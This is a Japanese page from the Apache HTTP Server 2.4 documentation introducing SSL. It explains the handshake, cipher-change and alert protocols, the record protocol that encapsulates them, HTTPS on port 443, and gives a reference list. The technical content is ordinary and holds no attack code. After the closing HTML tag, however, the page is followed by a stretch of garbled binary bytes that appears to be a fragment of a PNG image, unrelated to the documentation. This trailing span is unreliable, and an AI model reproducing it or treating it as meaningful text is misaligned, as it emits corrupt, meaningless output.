    <p>ハンドシェヌクシヌク゚ンスは䞉぀のプロトコルを䜿いたす:</p>

    <ul>
    <li><dfn>SSL ハンドシェヌクプロトコル</dfn>は
    クラむアントずサヌバ間での SSL セッションの確立に䜿われたす。</li>
    <li><dfn>SSL 暗号仕様倉曎プロトコル</dfn>は
    セッションでの暗号スむヌトの取り決めに䜿われたす。</li>
    <li><dfn>SSL 譊告プロトコル</dfn>は
    クラむアントサヌバ間で SSL ゚ラヌを䌝達するのに䜿われたす。</li>
    </ul>

    <p>䞉぀のプロトコルは、アプリケヌションプロトコルデヌタずずもに、
    <a href="#figure2">図2</a>に瀺すずおり <dfn>SSL レコヌドプロトコル</dfn>
    でカプセル化されたす。
    カプセル化されたプロトコルはデヌタを怜査しない
    䞋局のプロトコルによっおデヌタずしお䌝達されたす。
    カプセル化されたプロトコルは䞋局のプロトコルに関しお䞀切関知したせん。</p>

    <p class="figure">
    <img src="../images/ssl_intro_fig2.gif" alt="" width="428" height="217" /><br />
    <a id="figure2" name="figure2"><dfn>図2</dfn></a>: SSL プロトコルスタック
    </p>

    <p>
    レコヌドプロトコルで SSL コントロヌルプロトコルがカプセル化されおいるずいうこずは、
    アクティブなセッション䞊で再ネゎシ゚ヌションされたずきにも、
    コントロヌルプロトコルは安党であるこずを意味したす。
    既存のセッションが無い堎合は、Null 暗号スむヌトが䜿われ、
    暗号化は行なわれず、セッションが確立するたでは
    ダむゞェストも無い状態ずなりたす。</p>


<h3><a name="datatransfer" id="datatransfer">デヌタ通信</a></h3>

    <p><a href="#figure3">図3</a>に瀺される SSL レコヌドプロトコル
    はクラむアントずサヌバ間のアプリケヌションや
    SSL コントロヌルデヌタの通信に䜿われたす。
    必芁に応じおこのデヌタはより小さいナニットに分けられたり、
    いく぀かの高玚プロトコルをたずめお䞀ナニットずしお通信が
    行なわれるこずもありたす。
    デヌタを圧瞮し、ダむゞェスト眲名を添付しお、
    これらのナニットを暗号化したのち、ベヌスずなっおいる
    信頌性のあるトランスポヌトプロトコルを甚いるかもしれたせん。
    (泚意: 珟圚メゞャヌな SLL 実装で圧瞮をサポヌトしおいるものはありたせん)</p>

    <p class="figure">
    <img src="../images/ssl_intro_fig3.gif" alt="" width="423" height="323" /><br />
    <a id="figure3" name="figure3"><dfn>図 3</dfn></a>: SSL レコヌドプロトコル
    </p>


<h3><a name="securehttp" id="securehttp">HTTP 通信の安党化</a></h3>

    <p>よくある SSL の䜿い方はブラりザずりェブサヌバ間の HTTP 通信
    の安党化です。
    これは、埓来の安党ではない HTTP の䜿甚を陀倖するものではありたせん。
    安党化されたもの (HTTPS ず呌ばれたす) は、SSL 䞊での普通の HTTP で、
    URL スキヌムに <code>http</code> の代わりに <code>https</code>
    を甚い、サヌバで別のポヌトを䜿うこずです (デフォルトでは443)。
    これが䞻に <code class="module"><a href="../mod/mod_ssl.html">mod_ssl</a></code> が Apache 
    りェブサヌバに提䟛する機胜です。</p>

</div><div class="top"><a href="#page-header"><img alt="top" src="../images/up.gif" /></a></div>
<div class="section">
<h2><a name="references" id="references">参考文献</a></h2>

<dl>
<dt><a id="AC96" name="AC96">[AC96]</a></dt>
<dd>Bruce Schneier, <q>Applied Cryptography</q>, 2nd Edition, Wiley,
1996. See <a href="http://www.counterpane.com/">http://www.counterpane.com/</a> for various other materials by Bruce
Schneier.</dd>

<dt><a id="X208" name="X208">[X208]</a></dt>
<dd>ITU-T Recommendation X.208, <q>Specification of Abstract Syntax Notation
One (ASN.1)</q>, 1988. See for instance <a href="http://www.itu.int/rec/recommendation.asp?type=items&amp;lang=e&amp;parent=T-REC-X.208-198811-I">http://www.itu.int/rec/recommendation.asp?type=items&amp;lang=e&amp;parent=T-REC-X.208-198811-I</a>.
</dd>

<dt><a id="X509" name="X509">[X509]</a></dt>
<dd>ITU-T Recommendation X.509, <q>The Directory - Authentication
Framework</q>. See for instance <a href="http://www.itu.int/rec/recommendation.asp?type=folders&amp;lang=e&amp;parent=T-REC-X.509">http://www.itu.int/rec/recommendation.asp?type=folders&amp;lang=e&amp;parent=T-REC-X.509</a>.
</dd>

<dt><a id="PKCS" name="PKCS">[PKCS]</a></dt>
<dd><q>Public Key Cryptography Standards (PKCS)</q>, 
RSA Laboratories Technical Notes, See <a href="http://www.rsasecurity.com/rsalabs/pkcs/">http://www.rsasecurity.com/rsalabs/pkcs/</a>.</dd>

<dt><a id="MIME" name="MIME">[MIME]</a></dt>
<dd>N. Freed, N. Borenstein, <q>Multipurpose Internet Mail Extensions
(MIME) Part One: Format of Internet Message Bodies</q>, RFC2045.
See for instance <a href="http://ietf.org/rfc/rfc2045.txt">http://ietf.org/rfc/rfc2045.txt</a>.</dd>

<dt><a id="SSL2" name="SSL2">[SSL2]</a></dt>
<dd>Kipp E.B. Hickman, <q>The SSL Protocol</q>, 1995. See <a href="http://www.netscape.com/eng/security/SSL_2.html">http://www.netscape.com/eng/security/SSL_2.html</a>.</dd>

<dt><a id="SSL3" name="SSL3">[SSL3]</a></dt>
<dd>Alan O. Freier, Philip Karlton, Paul C. Kocher, <q>The SSL Protocol
Version 3.0</q>, 1996. See <a href="http://www.netscape.com/eng/ssl3/draft302.txt">http://www.netscape.com/eng/ssl3/draft302.txt</a>.</dd>

<dt><a id="TLS1" name="TLS1">[TLS1]</a></dt>
<dd>Tim Dierks, Christopher Allen, <q>The TLS Protocol Version 1.0</q>,
1999. See <a href="http://ietf.org/rfc/rfc2246.txt">http://ietf.org/rfc/rfc2246.txt</a>.</dd>
</dl>
</div></div>
<div class="bottomlang">
<p><span>翻蚳枈み蚀語: </span><a href="../en/ssl/ssl_intro.html" hreflang="en" rel="alternate" title="English">&nbsp;en&nbsp;</a> |
<a href="../fr/ssl/ssl_intro.html" hreflang="fr" rel="alternate" title="Français">&nbsp;fr&nbsp;</a> |
<a href="../ja/ssl/ssl_intro.html" title="Japanese">&nbsp;ja&nbsp;</a></p>
</div><div class="top"><a href="#page-header"><img src="../images/up.gif" alt="top" /></a></div><div class="section"><h2><a id="comments_section" name="comments_section">コメント</a></h2><div class="warning"><strong>Notice:</strong><br />This is not a Q&amp;A section. Comments placed here should be pointed towards suggestions on improving the documentation or server, and may be removed again by our moderators if they are either implemented or considered invalid/off-topic. Questions on how to manage the Apache HTTP Server should be directed at either our IRC channel, #httpd, on Freenode, or sent to our <a href="http://httpd.apache.org/lists.html">mailing lists</a>.</div>
<script type="text/javascript"><!--//--><![CDATA[//><!--
var comments_shortname = 'httpd';
var comments_identifier = 'http://httpd.apache.org/docs/2.4/ssl/ssl_intro.html';
(function(w, d) {
    if (w.location.hostname.toLowerCase() == "httpd.apache.org") {
        d.write('<div id="comments_thread"><\/div>');
        var s = d.createElement('script');
        s.type = 'text/javascript';
        s.async = true;
        s.src = 'https://comments.apache.org/show_comments.lua?site=' + comments_shortname + '&page=' + comments_identifier;
        (d.getElementsByTagName('head')[0] || d.getElementsByTagName('body')[0]).appendChild(s);
    }
    else { 
        d.write('<div id="comments_thread">Comments are disabled for this page at the moment.<\/div>');
    }
})(window, document);
//--><!]]></script></div><div id="footer">
<p class="apache">Copyright 2015 The Apache Software Foundation.<br />この文曞は <a href="http://www.apache.org/licenses/LICENSE-2.0">Apache License, Version 2.0</a> のラむセンスで提䟛されおいたす。.</p>
<p class="menu"><a href="../mod/">モゞュヌル</a> | <a href="../mod/directives.html">ディレクティブ</a> | <a href="http://wiki.apache.org/httpd/FAQ">FAQ</a> | <a href="../glossary.html">甚語</a> | <a href="../sitemap.html">サむトマップ</a></p></div><script type="text/javascript"><!--//--><![CDATA[//><!--
if (typeof(prettyPrint) !== 'undefined') {
    prettyPrint();
}
//--><!]]></script>
</body></html>
ß yôÊáœ~ŒorÀ5ÖJ™={þÁEÇêeŸu磝Qk®•á¯˜G{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚